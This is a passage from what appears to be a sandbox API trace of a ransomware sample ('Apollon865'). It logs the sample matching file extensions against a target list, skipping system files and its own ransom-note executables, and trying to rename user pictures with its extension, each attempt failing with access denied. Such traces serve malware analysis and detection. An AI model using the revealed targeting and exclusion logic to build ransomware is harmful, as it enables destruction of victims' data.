	[0080.075] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0080.075] lstrlenW (lpString="tgz") returned 3
	[0080.075] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0080.075] lstrlenW (lpString="vbox") returned 4
	[0080.075] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0080.075] lstrlenW (lpString="vdi") returned 3
	[0080.075] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0080.075] lstrlenW (lpString="vhd") returned 3
	[0080.075] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0080.075] lstrlenW (lpString="vhdx") returned 4
	[0080.075] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0080.075] lstrlenW (lpString="avhd") returned 4
	[0080.075] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0080.075] lstrlenW (lpString="db") returned 2
	[0080.075] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0080.075] lstrlenW (lpString="db2") returned 3
	[0080.075] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0080.075] lstrlenW (lpString="db3") returned 3
	[0080.075] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0080.075] lstrlenW (lpString="dbf") returned 3
	[0080.075] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0080.075] lstrlenW (lpString="mdf") returned 3
	[0080.075] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0080.076] lstrlenW (lpString="mdb") returned 3
	[0080.076] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0080.076] lstrlenW (lpString="sql") returned 3
	[0080.076] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0080.076] lstrlenW (lpString="sqlite") returned 6
	[0080.076] lstrcmpiW (lpString1="11.bmp", lpString2="sqlite") returned -1
	[0080.076] lstrlenW (lpString="sqlite3") returned 7
	[0080.076] lstrcmpiW (lpString1="e11.bmp", lpString2="sqlite3") returned -1
	[0080.076] lstrlenW (lpString="sqlitedb") returned 8
	[0080.076] lstrcmpiW (lpString1="le11.bmp", lpString2="sqlitedb") returned -1
	[0080.076] lstrlenW (lpString="xml") returned 3
	[0080.076] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0080.076] lstrlenW (lpString="$er") returned 3
	[0080.076] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0080.076] lstrlenW (lpString="4dd") returned 3
	[0080.076] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0080.076] lstrlenW (lpString="4dl") returned 3
	[0080.076] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0080.076] lstrlenW (lpString="^^^") returned 3
	[0080.076] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0080.076] lstrlenW (lpString="abs") returned 3
	[0080.076] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0080.076] lstrlenW (lpString="abx") returned 3
	[0080.076] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0080.076] lstrlenW (lpString="accdb") returned 5
	[0080.076] lstrcmpiW (lpString1="1.bmp", lpString2="accdb") returned -1
	[0080.076] lstrlenW (lpString="accdc") returned 5
	[0080.076] lstrcmpiW (lpString1="1.bmp", lpString2="accdc") returned -1
	[0080.076] lstrlenW (lpString="accde") returned 5
	[0080.076] lstrcmpiW (lpString1="1.bmp", lpString2="accde") returned -1
	[0080.076] lstrlenW (lpString="accdr") returned 5
	[0080.076] lstrcmpiW (lpString1="1.bmp", lpString2="accdr") returned -1
	[0080.076] lstrlenW (lpString="accdt") returned 5
	[0080.076] lstrcmpiW (lpString1="1.bmp", lpString2="accdt") returned -1
	[0080.076] lstrlenW (lpString="accdw") returned 5
	[0080.076] lstrcmpiW (lpString1="1.bmp", lpString2="accdw") returned -1
	[0080.076] lstrlenW (lpString="accft") returned 5
	[0080.076] lstrcmpiW (lpString1="1.bmp", lpString2="accft") returned -1
	[0080.077] lstrlenW (lpString="adb") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0080.077] lstrlenW (lpString="adb") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0080.077] lstrlenW (lpString="ade") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0080.077] lstrlenW (lpString="adf") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0080.077] lstrlenW (lpString="adn") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0080.077] lstrlenW (lpString="adp") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0080.077] lstrlenW (lpString="alf") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0080.077] lstrlenW (lpString="ask") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0080.077] lstrlenW (lpString="btr") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0080.077] lstrlenW (lpString="cat") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
	[0080.077] lstrlenW (lpString="cdb") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
	[0080.077] lstrlenW (lpString="ckp") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0080.077] lstrlenW (lpString="cma") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0080.077] lstrlenW (lpString="cpd") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0080.077] lstrlenW (lpString="dacpac") returned 6
	[0080.077] lstrcmpiW (lpString1="11.bmp", lpString2="dacpac") returned -1
	[0080.077] lstrlenW (lpString="dad") returned 3
	[0080.077] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0080.077] lstrlenW (lpString="dadiagrams") returned 10
	[0080.077] lstrcmpiW (lpString1="tile11.bmp", lpString2="dadiagrams") returned 1
	[0080.077] lstrlenW (lpString="daschema") returned 8
	[0080.077] lstrcmpiW (lpString1="le11.bmp", lpString2="daschema") returned 1
	[0080.077] lstrlenW (lpString="db-journal") returned 10
	[0080.078] lstrcmpiW (lpString1="tile11.bmp", lpString2="db-journal") returned 1
	[0080.078] lstrlenW (lpString="db-shm") returned 6
	[0080.078] lstrcmpiW (lpString1="11.bmp", lpString2="db-shm") returned -1
	[0080.078] lstrlenW (lpString="db-wal") returned 6
	[0080.078] lstrcmpiW (lpString1="11.bmp", lpString2="db-wal") returned -1
	[0080.078] lstrlenW (lpString="dbc") returned 3
	[0080.078] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0080.078] lstrlenW (lpString="dbs") returned 3
	[0080.078] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0080.078] lstrlenW (lpString="dbt") returned 3
	[0080.078] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0080.078] lstrlenW (lpString="dbv") returned 3
	[0080.078] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0080.078] lstrlenW (lpString="dbx") returned 3
	[0080.078] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0080.078] lstrlenW (lpString="dcb") returned 3
	[0080.078] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0080.078] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp.Apollon865") returned 93
	[0080.078] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile11.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile11.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.078] GetLastError () returned 0x5
	[0080.078] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp MoveFileEx error 5\r\n") returned 111
	[0080.079] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp MoveFileEx error 5\r\n") returned 111
	[0080.079] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.079] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x47fb
	[0080.079] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.079] CloseHandle (hObject=0x9c) returned 1
	[0080.079] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.079] CloseHandle (hObject=0x0) returned 0
	[0080.079] CloseHandle (hObject=0x0) returned 0
	[0080.079] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2755d1, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2755d1, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb6d3417, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile12.bmp", cAlternateFileName="")) returned 1
	[0080.079] lstrcmpiW (lpString1="usertile12.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.079] lstrcmpiW (lpString1="usertile12.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.079] lstrcmpiW (lpString1="usertile12.bmp", lpString2=".") returned 1
	[0080.079] lstrcmpiW (lpString1="usertile12.bmp", lpString2="..") returned 1
	[0080.079] lstrcmpiW (lpString1="usertile12.bmp", lpString2="windows") returned -1
	[0080.079] lstrcmpiW (lpString1="usertile12.bmp", lpString2="bootmgr") returned 1
	[0080.079] lstrcmpiW (lpString1="usertile12.bmp", lpString2="temp") returned 1
	[0080.080] lstrcmpiW (lpString1="usertile12.bmp", lpString2="pagefile.sys") returned 1
	[0080.080] lstrcmpiW (lpString1="usertile12.bmp", lpString2="boot") returned 1
	[0080.080] lstrcmpiW (lpString1="usertile12.bmp", lpString2="ids.txt") returned 1
	[0080.080] lstrcmpiW (lpString1="usertile12.bmp", lpString2="ntuser.dat") returned 1
	[0080.080] lstrcmpiW (lpString1="usertile12.bmp", lpString2="perflogs") returned 1
	[0080.080] lstrcmpiW (lpString1="usertile12.bmp", lpString2="MSBuild") returned 1
	[0080.080] lstrlenW (lpString="usertile12.bmp") returned 14
	[0080.080] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp") returned 82
	[0080.080] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile12.bmp" | out: lpString1="usertile12.bmp") returned="usertile12.bmp"
	[0080.080] lstrlenW (lpString="usertile12.bmp") returned 14
	[0080.080] lstrlenW (lpString="Apollon865") returned 10
	[0080.080] lstrcmpiW (lpString1="tile12.bmp", lpString2="Apollon865") returned 1
	[0080.080] lstrlenW (lpString=".dll") returned 4
	[0080.080] lstrcmpiW (lpString1="usertile12.bmp", lpString2=".dll") returned 1
	[0080.080] lstrlenW (lpString=".lnk") returned 4
	[0080.080] lstrcmpiW (lpString1="usertile12.bmp", lpString2=".lnk") returned 1
	[0080.080] lstrlenW (lpString=".ini") returned 4
	[0080.080] lstrcmpiW (lpString1="usertile12.bmp", lpString2=".ini") returned 1
	[0080.080] lstrlenW (lpString=".sys") returned 4
	[0080.080] lstrcmpiW (lpString1="usertile12.bmp", lpString2=".sys") returned 1
	[0080.080] lstrlenW (lpString="usertile12.bmp") returned 14
	[0080.080] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp.Apollon865") returned 93
	[0080.080] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile12.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile12.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.080] GetLastError () returned 0x5
	[0080.080] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp MoveFileEx error 5\r\n") returned 111
	[0080.080] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp MoveFileEx error 5\r\n") returned 111
	[0080.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.081] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x486a
	[0080.081] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.081] CloseHandle (hObject=0x9c) returned 1
	[0080.081] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.081] CloseHandle (hObject=0x0) returned 0
	[0080.081] CloseHandle (hObject=0x0) returned 0
	[0080.081] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae29b72e, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae29b72e, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb76b98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbeb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile13.bmp", cAlternateFileName="")) returned 1
	[0080.081] lstrcmpiW (lpString1="usertile13.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.081] lstrcmpiW (lpString1="usertile13.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2=".") returned 1
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2="..") returned 1
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2="windows") returned -1
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2="bootmgr") returned 1
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2="temp") returned 1
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2="pagefile.sys") returned 1
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2="boot") returned 1
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2="ids.txt") returned 1
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2="ntuser.dat") returned 1
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2="perflogs") returned 1
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2="MSBuild") returned 1
	[0080.082] lstrlenW (lpString="usertile13.bmp") returned 14
	[0080.082] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp") returned 82
	[0080.082] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile13.bmp" | out: lpString1="usertile13.bmp") returned="usertile13.bmp"
	[0080.082] lstrlenW (lpString="usertile13.bmp") returned 14
	[0080.082] lstrlenW (lpString="Apollon865") returned 10
	[0080.082] lstrcmpiW (lpString1="tile13.bmp", lpString2="Apollon865") returned 1
	[0080.082] lstrlenW (lpString=".dll") returned 4
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2=".dll") returned 1
	[0080.082] lstrlenW (lpString=".lnk") returned 4
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2=".lnk") returned 1
	[0080.082] lstrlenW (lpString=".ini") returned 4
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2=".ini") returned 1
	[0080.082] lstrlenW (lpString=".sys") returned 4
	[0080.082] lstrcmpiW (lpString1="usertile13.bmp", lpString2=".sys") returned 1
	[0080.082] lstrlenW (lpString="usertile13.bmp") returned 14
	[0080.082] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp.Apollon865") returned 93
	[0080.082] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile13.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile13.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.083] GetLastError () returned 0x5
	[0080.083] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp MoveFileEx error 5\r\n") returned 111
	[0080.083] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp MoveFileEx error 5\r\n") returned 111
	[0080.083] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.083] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x48d9
	[0080.083] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.083] CloseHandle (hObject=0x9c) returned 1
	[0080.083] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.083] CloseHandle (hObject=0x0) returned 0
	[0080.083] CloseHandle (hObject=0x0) returned 0
	[0080.083] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb82a065, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile14.bmp", cAlternateFileName="")) returned 1
	[0080.083] lstrcmpiW (lpString1="usertile14.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.083] lstrcmpiW (lpString1="usertile14.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.083] lstrcmpiW (lpString1="usertile14.bmp", lpString2=".") returned 1
	[0080.083] lstrcmpiW (lpString1="usertile14.bmp", lpString2="..") returned 1
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2="windows") returned -1
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2="bootmgr") returned 1
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2="temp") returned 1
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2="pagefile.sys") returned 1
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2="boot") returned 1
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2="ids.txt") returned 1
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2="ntuser.dat") returned 1
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2="perflogs") returned 1
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2="MSBuild") returned 1
	[0080.084] lstrlenW (lpString="usertile14.bmp") returned 14
	[0080.084] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp") returned 82
	[0080.084] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile14.bmp" | out: lpString1="usertile14.bmp") returned="usertile14.bmp"
	[0080.084] lstrlenW (lpString="usertile14.bmp") returned 14
	[0080.084] lstrlenW (lpString="Apollon865") returned 10
	[0080.084] lstrcmpiW (lpString1="tile14.bmp", lpString2="Apollon865") returned 1
	[0080.084] lstrlenW (lpString=".dll") returned 4
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2=".dll") returned 1
	[0080.084] lstrlenW (lpString=".lnk") returned 4
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2=".lnk") returned 1
	[0080.084] lstrlenW (lpString=".ini") returned 4
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2=".ini") returned 1
	[0080.084] lstrlenW (lpString=".sys") returned 4
	[0080.084] lstrcmpiW (lpString1="usertile14.bmp", lpString2=".sys") returned 1
	[0080.084] lstrlenW (lpString="usertile14.bmp") returned 14
	[0080.084] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp.Apollon865") returned 93
	[0080.084] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile14.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile14.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.085] GetLastError () returned 0x5
	[0080.085] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp MoveFileEx error 5\r\n") returned 111
	[0080.085] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp MoveFileEx error 5\r\n") returned 111
	[0080.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.085] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4948
	[0080.085] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.086] CloseHandle (hObject=0x9c) returned 1
	[0080.086] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.086] CloseHandle (hObject=0x0) returned 0
	[0080.086] CloseHandle (hObject=0x0) returned 0
	[0080.086] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdbb95fd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile15.bmp", cAlternateFileName="")) returned 1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2=".") returned 1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2="..") returned 1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2="windows") returned -1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2="bootmgr") returned 1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2="temp") returned 1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2="pagefile.sys") returned 1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2="boot") returned 1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2="ids.txt") returned 1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2="ntuser.dat") returned 1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2="perflogs") returned 1
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2="MSBuild") returned 1
	[0080.086] lstrlenW (lpString="usertile15.bmp") returned 14
	[0080.086] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp") returned 82
	[0080.086] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile15.bmp" | out: lpString1="usertile15.bmp") returned="usertile15.bmp"
	[0080.086] lstrlenW (lpString="usertile15.bmp") returned 14
	[0080.086] lstrlenW (lpString="Apollon865") returned 10
	[0080.086] lstrcmpiW (lpString1="tile15.bmp", lpString2="Apollon865") returned 1
	[0080.086] lstrlenW (lpString=".dll") returned 4
	[0080.086] lstrcmpiW (lpString1="usertile15.bmp", lpString2=".dll") returned 1
	[0080.086] lstrlenW (lpString=".lnk") returned 4
	[0080.087] lstrcmpiW (lpString1="usertile15.bmp", lpString2=".lnk") returned 1
	[0080.087] lstrlenW (lpString=".ini") returned 4
	[0080.087] lstrcmpiW (lpString1="usertile15.bmp", lpString2=".ini") returned 1
	[0080.087] lstrlenW (lpString=".sys") returned 4
	[0080.087] lstrcmpiW (lpString1="usertile15.bmp", lpString2=".sys") returned 1
	[0080.087] lstrlenW (lpString="usertile15.bmp") returned 14
	[0080.087] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp.Apollon865") returned 93
	[0080.087] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile15.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile15.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.087] GetLastError () returned 0x5
